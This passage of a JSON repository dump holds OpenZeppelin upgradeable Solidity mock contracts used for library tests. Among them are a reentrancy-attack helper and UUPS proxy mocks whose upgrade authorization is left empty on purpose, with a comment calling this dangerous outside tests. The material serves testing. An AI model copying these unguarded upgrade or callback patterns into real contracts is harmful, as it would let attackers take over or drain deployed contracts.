gramps\n */\ncontract SampleGramps is Initializable, SampleHuman {\n    string public gramps;\n\n    function initialize(string memory value) public virtual initializer {\n        __SampleGramps_init(value);\n    }\n\n    // solhint-disable-next-line func-name-mixedcase\n    function __SampleGramps_init(string memory value) internal onlyInitializing {\n        __SampleHuman_init();\n        __SampleGramps_init_unchained(value);\n    }\n\n    // solhint-disable-next-line func-name-mixedcase\n    function __SampleGramps_init_unchained(string memory value) internal onlyInitializing {\n        gramps = value;\n    }\n}\n\n/**\n * Sample base intializable contract that defines a field father and extends from gramps\n */\ncontract SampleFather is Initializable, SampleGramps {\n    uint256 public father;\n\n    function initialize(string memory _gramps, uint256 _father) public initializer {\n        __SampleFather_init(_gramps, _father);\n    }\n\n    // solhint-disable-next-line func-name-mixedcase\n    function __SampleFather_init(string memory _gramps, uint256 _father) internal onlyInitializing {\n        __SampleGramps_init(_gramps);\n        __SampleFather_init_unchained(_father);\n    }\n\n    // solhint-disable-next-line func-name-mixedcase\n    function __SampleFather_init_unchained(uint256 _father) internal onlyInitializing {\n        father = _father;\n    }\n}\n\n/**\n * Child extends from mother, father (gramps)\n */\ncontract SampleChild is Initializable, SampleMother, SampleFather {\n    uint256 public child;\n\n    function initialize(\n        uint256 _mother,\n        string memory _gramps,\n        uint256 _father,\n        uint256 _child\n    ) public initializer {\n        __SampleChild_init(_mother, _gramps, _father, _child);\n    }\n\n    // solhint-disable-next-line func-name-mixedcase\n    function __SampleChild_init(\n        uint256 _mother,\n        string memory _gramps,\n        uint256 _father,\n        uint256 _child\n    ) internal onlyInitializing {\n        __SampleMother_init(_mother);\n        __SampleFather_init(_gramps, _father);\n        __SampleChild_init_unchained(_child);\n    }\n\n    // solhint-disable-next-line func-name-mixedcase\n    function __SampleChild_init_unchained(uint256 _child) internal onlyInitializing {\n        child = _child;\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/OwnableMockUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../access/OwnableUpgradeable.sol\";\nimport \"../proxy/utils/Initializable.sol\";\n\ncontract OwnableMockUpgradeable is Initializable, OwnableUpgradeable {    function __OwnableMock_init() internal onlyInitializing {\n        __Context_init_unchained();\n        __Ownable_init_unchained();\n        __OwnableMock_init_unchained();\n    }\n\n    function __OwnableMock_init_unchained() internal onlyInitializing {\n    }\n    uint256[50] private __gap;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/PausableMockUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../security/PausableUpgradeable.sol\";\nimport \"../proxy/utils/Initializable.sol\";\n\ncontract PausableMockUpgradeable is Initializable, PausableUpgradeable {\n    bool public drasticMeasureTaken;\n    uint256 public count;\n\n    function __PausableMock_init() internal onlyInitializing {\n        __Context_init_unchained();\n        __Pausable_init_unchained();\n        __PausableMock_init_unchained();\n    }\n\n    function __PausableMock_init_unchained() internal onlyInitializing {\n        drasticMeasureTaken = false;\n        count = 0;\n    }\n\n    function normalProcess() external whenNotPaused {\n        count++;\n    }\n\n    function drasticMeasure() external whenPaused {\n        drasticMeasureTaken = true;\n    }\n\n    function pause() external {\n        _pause();\n    }\n\n    function unpause() external {\n        _unpause();\n    }\n    uint256[48] private __gap;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/PullPaymentMockUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../security/PullPaymentUpgradeable.sol\";\nimport \"../proxy/utils/Initializable.sol\";\n\n// mock class using PullPayment\ncontract PullPaymentMockUpgradeable is Initializable, PullPaymentUpgradeable {\n    function __PullPaymentMock_init() internal onlyInitializing {\n        __PullPayment_init_unchained();\n        __PullPaymentMock_init_unchained();\n    }\n\n    function __PullPaymentMock_init_unchained() internal onlyInitializing {}\n\n    // test helper function to call asyncTransfer\n    function callTransfer(address dest, uint256 amount) public {\n        _asyncTransfer(dest, amount);\n    }\n    uint256[50] private __gap;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/ReentrancyAttackUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../utils/ContextUpgradeable.sol\";\nimport \"../proxy/utils/Initializable.sol\";\n\ncontract ReentrancyAttackUpgradeable is Initializable, ContextUpgradeable {\n    function __ReentrancyAttack_init() internal onlyInitializing {\n        __Context_init_unchained();\n        __ReentrancyAttack_init_unchained();\n    }\n\n    function __ReentrancyAttack_init_unchained() internal onlyInitializing {\n    }\n    function callSender(bytes4 data) public {\n        (bool success, ) = _msgSender().call(abi.encodeWithSelector(data));\n        require(success, \"ReentrancyAttack: failed call\");\n    }\n    uint256[50] private __gap;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/ReentrancyMockUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../security/ReentrancyGuardUpgradeable.sol\";\nimport \"./ReentrancyAttackUpgradeable.sol\";\nimport \"../proxy/utils/Initializable.sol\";\n\ncontract ReentrancyMockUpgradeable is Initializable, ReentrancyGuardUpgradeable {\n    uint256 public counter;\n\n    function __ReentrancyMock_init() internal onlyInitializing {\n        __ReentrancyGuard_init_unchained();\n        __ReentrancyMock_init_unchained();\n    }\n\n    function __ReentrancyMock_init_unchained() internal onlyInitializing {\n        counter = 0;\n    }\n\n    function callback() external nonReentrant {\n        _count();\n    }\n\n    function countLocalRecursive(uint256 n) public nonReentrant {\n        if (n > 0) {\n            _count();\n            countLocalRecursive(n - 1);\n        }\n    }\n\n    function countThisRecursive(uint256 n) public nonReentrant {\n        if (n > 0) {\n            _count();\n            (bool success, ) = address(this).call(abi.encodeWithSignature(\"countThisRecursive(uint256)\", n - 1));\n            require(success, \"ReentrancyMock: failed call\");\n        }\n    }\n\n    function countAndCall(ReentrancyAttackUpgradeable attacker) public nonReentrant {\n        _count();\n        bytes4 func = bytes4(keccak256(\"callback()\"));\n        attacker.callSender(func);\n    }\n\n    function _count() private {\n        counter += 1;\n    }\n    uint256[49] private __gap;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/RegressionImplementation.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../proxy/utils/Initializable.sol\";\n\ncontract Implementation1 is Initializable {\n    uint256 internal _value;\n\n    function initialize() public initializer {}\n\n    function setValue(uint256 _number) public {\n        _value = _number;\n    }\n}\n\ncontract Implementation2 is Initializable {\n    uint256 internal _value;\n\n    function initialize() public initializer {}\n\n    function setValue(uint256 _number) public {\n        _value = _number;\n    }\n\n    function getValue() public view returns (uint256) {\n        return _value;\n    }\n}\n\ncontract Implementation3 is Initializable {\n    uint256 internal _value;\n\n    function initialize() public initializer {}\n\n    function setValue(uint256 _number) public {\n        _value = _number;\n    }\n\n    function getValue(uint256 _number) public view returns (uint256) {\n        return _value + _number;\n    }\n}\n\ncontract Implementation4 is Initializable {\n    uint256 internal _value;\n\n    function initialize() public initializer {}\n\n    function setValue(uint256 _number) public {\n        _value = _number;\n    }\n\n    function getValue() public view returns (uint256) {\n        return _value;\n    }\n\n    fallback() external {\n        _value = 1;\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/SafeCastMockUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../utils/math/SafeCastUpgradeable.sol\";\nimport \"../proxy/utils/Initializable.sol\";\n\ncontract SafeCastMockUpgradeable is Initializable {\n    function __SafeCastMock_init() internal onlyInitializing {\n        __SafeCastMock_init_unchained();\n    }\n\n    function __SafeCastMock_init_unchained() internal onlyInitializing {\n    }\n    using SafeCastUpgradeable for uint256;\n    using SafeCastUpgradeable for int256;\n\n    function toUint256(int256 a) public pure returns (uint256) {\n        return a.toUint256();\n    }\n\n    function toUint224(uint256 a) public pure returns (uint224) {\n        return a.toUint224();\n    }\n\n    function toUint128(uint256 a) public pure returns (uint128) {\n        return a.toUint128();\n    }\n\n    function toUint96(uint256 a) public pure returns (uint96) {\n        return a.toUint96();\n    }\n\n    function toUint64(uint256 a) public pure returns (uint64) {\n        return a.toUint64();\n    }\n\n    function toUint32(uint256 a) public pure returns (uint32) {\n        return a.toUint32();\n    }\n\n    function toUint16(uint256 a) public pure returns (uint16) {\n        return a.toUint16();\n    }\n\n    function toUint8(uint256 a) public pure returns (uint8) {\n        return a.toUint8();\n    }\n\n    function toInt256(uint256 a) public pure returns (int256) {\n        return a.toInt256();\n    }\n\n    function toInt128(int256 a) public pure returns (int128) {\n        return a.toInt128();\n    }\n\n    function toInt64(int256 a) public pure returns (int64) {\n        return a.toInt64();\n    }\n\n    function toInt32(int256 a) public pure returns (int32) {\n        return a.toInt32();\n    }\n\n    function toInt16(int256 a) public pure returns (int16) {\n        return a.toInt16();\n    }\n\n    function toInt8(int256 a) public pure returns (int8) {\n        return a.toInt8();\n    }\n    uint256[50] private __gap;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/SafeERC20HelperUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../utils/ContextUpgradeable.sol\";\nimport \"../token/ERC20/IERC20Upgradeable.sol\";\nimport \"../token/ERC20/utils/SafeERC20Upgradeable.sol\";\nimport \"../proxy/utils/Initializable.sol\";\n\ncontract ERC20ReturnFalseMockUpgradeable is Initializable, ContextUpgradeable {\n    function __ERC20ReturnFalseMock_init() internal onlyInitializing {\n        __Context_init_unchained();\n        __ERC20ReturnFalseMock_init_unchained();\n    }\n\n    function __ERC20ReturnFalseMock_init_unchained() internal onlyInitializing {\n    }\n    uint256 private _allowance;\n\n    // IERC20's functions are not pure, but these mock implementations are: to prevent Solidity from issuing warnings,\n    // we write to a dummy state variable.\n    uint256 private _dummy;\n\n    function transfer(address, uint256) public returns (bool) {\n        _dummy = 0;\n        return false;\n    }\n\n    function transferFrom(\n        address,\n        address,\n        uint256\n    ) public returns (bool) {\n        _dummy = 0;\n        return false;\n    }\n\n    function approve(address, uint256) public returns (bool) {\n        _dummy = 0;\n        return false;\n    }\n\n    function allowance(address, address) public view returns (uint256) {\n        require(_dummy == 0); // Duummy read from a state variable so that the function is view\n        return 0;\n    }\n    uint256[48] private __gap;\n}\n\ncontract ERC20ReturnTrueMockUpgradeable is Initializable, ContextUpgradeable {\n    function __ERC20ReturnTrueMock_init() internal onlyInitializing {\n        __Context_init_unchained();\n        __ERC20ReturnTrueMock_init_unchained();\n    }\n\n    function __ERC20ReturnTrueMock_init_unchained() internal onlyInitializing {\n    }\n    mapping(address => uint256) private _allowances;\n\n    // IERC20's functions are not pure, but these mock implementations are: to prevent Solidity from issuing warnings,\n    // we write to a dummy state variable.\n    uint256 private _dummy;\n\n    function transfer(address, uint256) public returns (bool) {\n        _dummy = 0;\n        return true;\n    }\n\n    function transferFrom(\n        address,\n        address,\n        uint256\n    ) public returns (bool) {\n        _dummy = 0;\n        return true;\n    }\n\n    function approve(address, uint256) public returns (bool) {\n        _dummy = 0;\n        return true;\n    }\n\n    function setAllowance(uint256 allowance_) public {\n        _allowances[_msgSender()] = allowance_;\n    }\n\n    function allowance(address owner, address) public view returns (uint256) {\n        return _allowances[owner];\n    }\n    uint256[48] private __gap;\n}\n\ncontract ERC20NoReturnMockUpgradeable is Initializable, ContextUpgradeable {\n    function __ERC20NoReturnMock_init() internal onlyInitializing {\n        __Context_init_unchained();\n        __ERC20NoReturnMock_init_unchained();\n    }\n\n    function __ERC20NoReturnMock_init_unchained() internal onlyInitializing {\n    }\n    mapping(address => uint256) private _allowances;\n\n    // IERC20's functions are not pure, but these mock implementations are: to prevent Solidity from issuing warnings,\n    // we write to a dummy state variable.\n    uint256 private _dummy;\n\n    function transfer(address, uint256) public {\n        _dummy = 0;\n    }\n\n    function transferFrom(\n        address,\n        address,\n        uint256\n    ) public {\n        _dummy = 0;\n    }\n\n    function approve(address, uint256) public {\n        _dummy = 0;\n    }\n\n    function setAllowance(uint256 allowance_) public {\n        _allowances[_msgSender()] = allowance_;\n    }\n\n    function allowance(address owner, address) public view returns (uint256) {\n        return _allowances[owner];\n    }\n    uint256[48] private __gap;\n}\n\ncontract SafeERC20WrapperUpgradeable is Initializable, ContextUpgradeable {\n    using SafeERC20Upgradeable for IERC20Upgradeable;\n\n    IERC20Upgradeable private _token;\n\n    function __SafeERC20Wrapper_init(IERC20Upgradeable token) internal onlyInitializing {\n        __Context_init_unchained();\n        __SafeERC20Wrapper_init_unchained(token);\n    }\n\n    function __SafeERC20Wrapper_init_unchained(IERC20Upgradeable token) internal onlyInitializing {\n        _token = token;\n    }\n\n    function transfer() public {\n        _token.safeTransfer(address(0), 0);\n    }\n\n    function transferFrom() public {\n        _token.safeTransferFrom(address(0), address(0), 0);\n    }\n\n    function approve(uint256 amount) public {\n        _token.safeApprove(address(0), amount);\n    }\n\n    function increaseAllowance(uint256 amount) public {\n        _token.safeIncreaseAllowance(address(0), amount);\n    }\n\n    function decreaseAllowance(uint256 amount) public {\n        _token.safeDecreaseAllowance(address(0), amount);\n    }\n\n    function setAllowance(uint256 allowance_) public {\n        ERC20ReturnTrueMockUpgradeable(address(_token)).setAllowance(allowance_);\n    }\n\n    function allowance() public view returns (uint256) {\n        return _token.allowance(address(0), address(0));\n    }\n    uint256[49] private __gap;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/SafeMathMockUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../utils/math/SafeMathUpgradeable.sol\";\nimport \"../proxy/utils/Initializable.sol\";\n\ncontract SafeMathMockUpgradeable is Initializable {\n    function __SafeMathMock_init() internal onlyInitializing {\n        __SafeMathMock_init_unchained();\n    }\n\n    function __SafeMathMock_init_unchained() internal onlyInitializing {\n    }\n    function tryAdd(uint256 a, uint256 b) public pure returns (bool flag, uint256 value) {\n        return SafeMathUpgradeable.tryAdd(a, b);\n    }\n\n    function trySub(uint256 a, uint256 b) public pure returns (bool flag, uint256 value) {\n        return SafeMathUpgradeable.trySub(a, b);\n    }\n\n    function tryMul(uint256 a, uint256 b) public pure returns (bool flag, uint256 value) {\n        return SafeMathUpgradeable.tryMul(a, b);\n    }\n\n    function tryDiv(uint256 a, uint256 b) public pure returns (bool flag, uint256 value) {\n        return SafeMathUpgradeable.tryDiv(a, b);\n    }\n\n    function tryMod(uint256 a, uint256 b) public pure returns (bool flag, uint256 value) {\n        return SafeMathUpgradeable.tryMod(a, b);\n    }\n\n    // using the do* naming convention to avoid warnings due to clashing opcode names\n\n    function doAdd(uint256 a, uint256 b) public pure returns (uint256) {\n        return SafeMathUpgradeable.add(a, b);\n    }\n\n    function doSub(uint256 a, uint256 b) public pure returns (uint256) {\n        return SafeMathUpgradeable.sub(a, b);\n    }\n\n    function doMul(uint256 a, uint256 b) public pure returns (uint256) {\n        return SafeMathUpgradeable.mul(a, b);\n    }\n\n    function doDiv(uint256 a, uint256 b) public pure returns (uint256) {\n        return SafeMathUpgradeable.div(a, b);\n    }\n\n    function doMod(uint256 a, uint256 b) public pure returns (uint256) {\n        return SafeMathUpgradeable.mod(a, b);\n    }\n\n    function subWithMessage(\n        uint256 a,\n        uint256 b,\n        string memory errorMessage\n    ) public pure returns (uint256) {\n        return SafeMathUpgradeable.sub(a, b, errorMessage);\n    }\n\n    function divWithMessage(\n        uint256 a,\n        uint256 b,\n        string memory errorMessage\n    ) public pure returns (uint256) {\n        return SafeMathUpgradeable.div(a, b, errorMessage);\n    }\n\n    function modWithMessage(\n        uint256 a,\n        uint256 b,\n        string memory errorMessage\n    ) public pure returns (uint256) {\n        return SafeMathUpgradeable.mod(a, b, errorMessage);\n    }\n\n    function addMemoryCheck() public pure returns (uint256 mem) {\n        uint256 length = 32;\n        assembly {\n            mem := mload(0x40)\n        }\n        for (uint256 i = 0; i < length; ++i) {\n            SafeMathUpgradeable.add(1, 1);\n        }\n        assembly {\n            mem := sub(mload(0x40), mem)\n        }\n    }\n\n    function subMemoryCheck() public pure returns (uint256 mem) {\n        uint256 length = 32;\n        assembly {\n            mem := mload(0x40)\n        }\n        for (uint256 i = 0; i < length; ++i) {\n            SafeMathUpgradeable.sub(1, 1);\n        }\n        assembly {\n            mem := sub(mload(0x40), mem)\n        }\n    }\n\n    function mulMemoryCheck() public pure returns (uint256 mem) {\n        uint256 length = 32;\n        assembly {\n            mem := mload(0x40)\n        }\n        for (uint256 i = 0; i < length; ++i) {\n            SafeMathUpgradeable.mul(1, 1);\n        }\n        assembly {\n            mem := sub(mload(0x40), mem)\n        }\n    }\n\n    function divMemoryCheck() public pure returns (uint256 mem) {\n        uint256 length = 32;\n        assembly {\n            mem := mload(0x40)\n        }\n        for (uint256 i = 0; i < length; ++i) {\n            SafeMathUpgradeable.div(1, 1);\n        }\n        assembly {\n            mem := sub(mload(0x40), mem)\n        }\n    }\n\n    function modMemoryCheck() public pure returns (uint256 mem) {\n        uint256 length = 32;\n        assembly {\n            mem := mload(0x40)\n        }\n        for (uint256 i = 0; i < length; ++i) {\n            SafeMathUpgradeable.mod(1, 1);\n        }\n        assembly {\n            mem := sub(mload(0x40), mem)\n        }\n    }\n    uint256[50] private __gap;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/SignatureCheckerMockUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../utils/cryptography/SignatureCheckerUpgradeable.sol\";\nimport \"../proxy/utils/Initializable.sol\";\n\ncontract SignatureCheckerMockUpgradeable is Initializable {\n    function __SignatureCheckerMock_init() internal onlyInitializing {\n        __SignatureCheckerMock_init_unchained();\n    }\n\n    function __SignatureCheckerMock_init_unchained() internal onlyInitializing {\n    }\n    using SignatureCheckerUpgradeable for address;\n\n    function isValidSignatureNow(\n        address signer,\n        bytes32 hash,\n        bytes memory signature\n    ) public view returns (bool) {\n        return signer.isValidSignatureNow(hash, signature);\n    }\n    uint256[50] private __gap;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/SignedSafeMathMockUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../utils/math/SignedSafeMathUpgradeable.sol\";\nimport \"../proxy/utils/Initializable.sol\";\n\ncontract SignedSafeMathMockUpgradeable is Initializable {\n    function __SignedSafeMathMock_init() internal onlyInitializing {\n        __SignedSafeMathMock_init_unchained();\n    }\n\n    function __SignedSafeMathMock_init_unchained() internal onlyInitializing {\n    }\n    function mul(int256 a, int256 b) public pure returns (int256) {\n        return SignedSafeMathUpgradeable.mul(a, b);\n    }\n\n    function div(int256 a, int256 b) public pure returns (int256) {\n        return SignedSafeMathUpgradeable.div(a, b);\n    }\n\n    function sub(int256 a, int256 b) public pure returns (int256) {\n        return SignedSafeMathUpgradeable.sub(a, b);\n    }\n\n    function add(int256 a, int256 b) public pure returns (int256) {\n        return SignedSafeMathUpgradeable.add(a, b);\n    }\n    uint256[50] private __gap;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/SingleInheritanceInitializableMocks.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../proxy/utils/Initializable.sol\";\n\n/**\n * @title MigratableMockV1\n * @dev This contract is a mock to test initializable functionality through migrations\n */\ncontract MigratableMockV1 is Initializable {\n    uint256 public x;\n\n    function initialize(uint256 value) public payable initializer {\n        x = value;\n    }\n}\n\n/**\n * @title MigratableMockV2\n * @dev This contract is a mock to test migratable functionality with params\n */\ncontract MigratableMockV2 is MigratableMockV1 {\n    bool internal _migratedV2;\n    uint256 public y;\n\n    function migrate(uint256 value, uint256 anotherValue) public payable {\n        require(!_migratedV2);\n        x = value;\n        y = anotherValue;\n        _migratedV2 = true;\n    }\n}\n\n/**\n * @title MigratableMockV3\n * @dev This contract is a mock to test migratable functionality without params\n */\ncontract MigratableMockV3 is MigratableMockV2 {\n    bool internal _migratedV3;\n\n    function migrate() public payable {\n        require(!_migratedV3);\n        uint256 oldX = x;\n        x = y;\n        y = oldX;\n        _migratedV3 = true;\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/StorageSlotMockUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../utils/StorageSlotUpgradeable.sol\";\nimport \"../proxy/utils/Initializable.sol\";\n\ncontract StorageSlotMockUpgradeable is Initializable {\n    function __StorageSlotMock_init() internal onlyInitializing {\n        __StorageSlotMock_init_unchained();\n    }\n\n    function __StorageSlotMock_init_unchained() internal onlyInitializing {\n    }\n    using StorageSlotUpgradeable for bytes32;\n\n    function setBoolean(bytes32 slot, bool value) public {\n        slot.getBooleanSlot().value = value;\n    }\n\n    function setAddress(bytes32 slot, address value) public {\n        slot.getAddressSlot().value = value;\n    }\n\n    function setBytes32(bytes32 slot, bytes32 value) public {\n        slot.getBytes32Slot().value = value;\n    }\n\n    function setUint256(bytes32 slot, uint256 value) public {\n        slot.getUint256Slot().value = value;\n    }\n\n    function getBoolean(bytes32 slot) public view returns (bool) {\n        return slot.getBooleanSlot().value;\n    }\n\n    function getAddress(bytes32 slot) public view returns (address) {\n        return slot.getAddressSlot().value;\n    }\n\n    function getBytes32(bytes32 slot) public view returns (bytes32) {\n        return slot.getBytes32Slot().value;\n    }\n\n    function getUint256(bytes32 slot) public view returns (uint256) {\n        return slot.getUint256Slot().value;\n    }\n    uint256[50] private __gap;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/StringsMockUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../utils/StringsUpgradeable.sol\";\nimport \"../proxy/utils/Initializable.sol\";\n\ncontract StringsMockUpgradeable is Initializable {\n    function __StringsMock_init() internal onlyInitializing {\n        __StringsMock_init_unchained();\n    }\n\n    function __StringsMock_init_unchained() internal onlyInitializing {\n    }\n    function fromUint256(uint256 value) public pure returns (string memory) {\n        return StringsUpgradeable.toString(value);\n    }\n\n    function fromUint256Hex(uint256 value) public pure returns (string memory) {\n        return StringsUpgradeable.toHexString(value);\n    }\n\n    function fromUint256HexFixed(uint256 value, uint256 length) public pure returns (string memory) {\n        return StringsUpgradeable.toHexString(value, length);\n    }\n    uint256[50] private __gap;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/TimersBlockNumberImplUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../utils/TimersUpgradeable.sol\";\nimport \"../proxy/utils/Initializable.sol\";\n\ncontract TimersBlockNumberImplUpgradeable is Initializable {\n    function __TimersBlockNumberImpl_init() internal onlyInitializing {\n        __TimersBlockNumberImpl_init_unchained();\n    }\n\n    function __TimersBlockNumberImpl_init_unchained() internal onlyInitializing {\n    }\n    using TimersUpgradeable for TimersUpgradeable.BlockNumber;\n\n    TimersUpgradeable.BlockNumber private _timer;\n\n    function getDeadline() public view returns (uint64) {\n        return _timer.getDeadline();\n    }\n\n    function setDeadline(uint64 timestamp) public {\n        _timer.setDeadline(timestamp);\n    }\n\n    function reset() public {\n        _timer.reset();\n    }\n\n    function isUnset() public view returns (bool) {\n        return _timer.isUnset();\n    }\n\n    function isStarted() public view returns (bool) {\n        return _timer.isStarted();\n    }\n\n    function isPending() public view returns (bool) {\n        return _timer.isPending();\n    }\n\n    function isExpired() public view returns (bool) {\n        return _timer.isExpired();\n    }\n    uint256[49] private __gap;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/TimersTimestampImplUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../utils/TimersUpgradeable.sol\";\nimport \"../proxy/utils/Initializable.sol\";\n\ncontract TimersTimestampImplUpgradeable is Initializable {\n    function __TimersTimestampImpl_init() internal onlyInitializing {\n        __TimersTimestampImpl_init_unchained();\n    }\n\n    function __TimersTimestampImpl_init_unchained() internal onlyInitializing {\n    }\n    using TimersUpgradeable for TimersUpgradeable.Timestamp;\n\n    TimersUpgradeable.Timestamp private _timer;\n\n    function getDeadline() public view returns (uint64) {\n        return _timer.getDeadline();\n    }\n\n    function setDeadline(uint64 timestamp) public {\n        _timer.setDeadline(timestamp);\n    }\n\n    function reset() public {\n        _timer.reset();\n    }\n\n    function isUnset() public view returns (bool) {\n        return _timer.isUnset();\n    }\n\n    function isStarted() public view returns (bool) {\n        return _timer.isStarted();\n    }\n\n    function isPending() public view returns (bool) {\n        return _timer.isPending();\n    }\n\n    function isExpired() public view returns (bool) {\n        return _timer.isExpired();\n    }\n    uint256[49] private __gap;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/UUPS/TestInProdUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../CountersImplUpgradeable.sol\";\nimport \"../../proxy/utils/UUPSUpgradeable.sol\";\nimport \"../../proxy/utils/Initializable.sol\";\n\ncontract UUPSUpgradeableMockUpgradeable is Initializable, CountersImplUpgradeable, UUPSUpgradeable {\n    function __UUPSUpgradeableMock_init() internal onlyInitializing {\n        __CountersImpl_init_unchained();\n        __ERC1967Upgrade_init_unchained();\n        __UUPSUpgradeable_init_unchained();\n        __UUPSUpgradeableMock_init_unchained();\n    }\n\n    function __UUPSUpgradeableMock_init_unchained() internal onlyInitializing {\n    }\n    // Not having any checks in this function is dangerous! Do not do this outside tests!\n    function _authorizeUpgrade(address) internal virtual override {}\n    uint256[50] private __gap;\n}\n\ncontract UUPSUpgradeableUnsafeMockUpgradeable is Initializable, UUPSUpgradeableMockUpgradeable {\n    function __UUPSUpgradeableUnsafeMock_init() internal onlyInitializing {\n        __CountersImpl_init_unchained();\n        __ERC1967Upgrade_init_unchained();\n        __UUPSUpgradeable_init_unchained();\n        __UUPSUpgradeableMock_init_unchained();\n        __UUPSUpgradeableUnsafeMock_init_unchained();\n    }\n\n    function __UUPSUpgradeableUnsafeMock_init_unchained() internal onlyInitializing {\n    }\n    function upgradeTo(address newImplementation) external virtual override {\n        ERC1967UpgradeUpgradeable._upgradeToAndCall(newImplementation, bytes(\"\"), false);\n    }\n\n    function upgradeToAndCall(address newImplementation, bytes memory data) external payable virtual override {\n        ERC1967UpgradeUpgradeable._upgradeToAndCall(newImplementation, data, false);\n    }\n    uint256[50] private __gap;\n}\n\ncontract UUPSUpgradeableBrokenMockUpgradeable is Initializable, UUPSUpgradeableMockUpgradeable {\n    function __UUPSUpgradeableBrokenMock_init() internal onlyInitializing {\n        __CountersImpl_init_unchained();\n        __ERC1967Upgrade_init_unchained();\n        __UUPSUpgradeable_init_unchained();\n        __UUPSUpgradeableMock_init_unchained();\n        __UUPSUpgradeableBrokenMock_init_unchained();\n    }\n\n    function __UUPSUpgradeableBrokenMock_init_unchained() internal onlyInitializing {\n    }\n    function upgradeTo(address) external virtual override {\n        // pass\n    }\n\n    function upgradeToAndCall(address, bytes memory) external payable virtual override {\n        // pass\n    }\n    uint256[50] private __gap;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/WithInit.sol",
    "content": "pragma solidity >=0.6 <0.9;\npragma experimental ABIEncoderV2;\n\nimport \"./AccessControlMockUpgradeable.sol\";\n\ncontract AccessControlMockUpgradeableWithInit is AccessControlMockUpgradeable {\n    constructor() public payable initializer {\n        __AccessControlMock_init();\n    }\n}\nimport \"../governance/TimelockControllerUpgradeable.sol\";\n\ncontract TimelockControllerUpgradeableWithInit is TimelockControllerUpgradeable {\n    constructor(\n        uint256 minDelay,\n        address[] memory proposers,\n        address[] memory executors\n    ) public payable initializer {\n        __TimelockController_init(minDelay, proposers, executors);\n    }\n}\nimport \"./wizard/MyGovernor3Upgradeable.sol\";\n\ncontract MyGovernorUpgradeableWithInit is MyGovernorUpgradeable {\n    constructor(ERC20VotesUpgradeable _token, TimelockControllerUpgradeable _timelock) public payable initializer {\n        __MyGovernor_init(_token, _timelock);\n    }\n}\nimport \"../token/ERC20/ERC20Upgradeable.sol\";\n\ncontract ERC20UpgradeableWithInit is ERC20Upgradeable {\n    constructor(string memory name_, string memory symbol_) public payable initializer {\n        __ERC20_init(name_, symbol_);\n    }\n}\nimport \"./wizard/MyGovernor2Upgradeable.sol\";\n\ncontract MyGovernor2UpgradeableWithInit is MyGovernor2Upgradeable {\n    